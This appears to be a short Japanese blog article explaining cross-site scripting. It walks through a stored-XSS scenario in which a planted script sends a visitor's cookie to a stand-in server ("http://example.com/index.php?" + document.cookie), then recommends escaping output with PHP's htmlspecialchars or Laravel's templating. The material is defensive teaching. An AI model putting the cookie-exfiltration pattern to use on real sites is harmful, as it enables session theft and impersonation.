XSSとは
クロスサイトスクリプティング(XSS)とは、攻撃対象のWebサイトの脆弱性を突き、攻撃者がそこに悪質なサイトへ誘導するスクリプトを仕掛けることで、サイトに訪れるユーザーの個人情報を詐取する攻撃のことを指します。
例えば、フォーム画面でユーザーが入力した値をそのままブラウザで表示してしまうと悪意のあるJavaScriptなどが実行されクッキーが盗まれるなどの危険があります。
XSSのイメージ
ブログを利用しているAさんがBの悪意のあるスクリプトにより、クッキーが盗まれ、Aさんがなりすましされるケース
※いろんなケースが挙げられます。以下はあくまでも一例です。
Bが悪意のあるスクリプト(このスクリプトを含むファイルを取得したユーザーのクッキーを取得してサーバーへ保存する)をブログデータ仕込んで投稿
http://sample.com/posts/1に保存されます
保存されたデータに対してAさんがGETでデータを取得するリクエストを投げます。
このデータには、Bにより仕込まれたスクリプトが含まれており、投稿データに含まれるurlリンクや画像ファイルをクリックすることでクッキー情報をクエリパラメーターとしたリクエストが送られる。(“http://example.com/index.php?" + document.cookie)
index.php内のスクリプトが実行されることで、クッキー情報を取得しサーバーへ保存する
Bは取得したクッキーを悪用してなりすましを行う。
対策
PHPでは、echoなどでブラウザに出力する際に、htmlspecialcharsを使用して、エスケープ処理(特殊文字を害のない文字に変換する)を行うことで、悪意のあるスクリプトを無効化することが可能。(scriptタグを読み込ませないように特殊文字を置き換える)
ちなみにPHPの人気フレームワークLaravelを使用すると、以下のように記載するだけでエスケープ処理がされます。
{{ $name }}
まとめ
いかがでしたでしょうか。クロスサイトスクリプティング(XSS)とは、攻撃対象のWebサイトの脆弱性を突き、攻撃者がそこに悪質なサイトへ誘導するスクリプトを仕掛けることで、サイトに訪れるユーザーの個人情報を詐取する攻撃のことを指します。本記事では、PHPでのXSS対策の方法を紹介しています。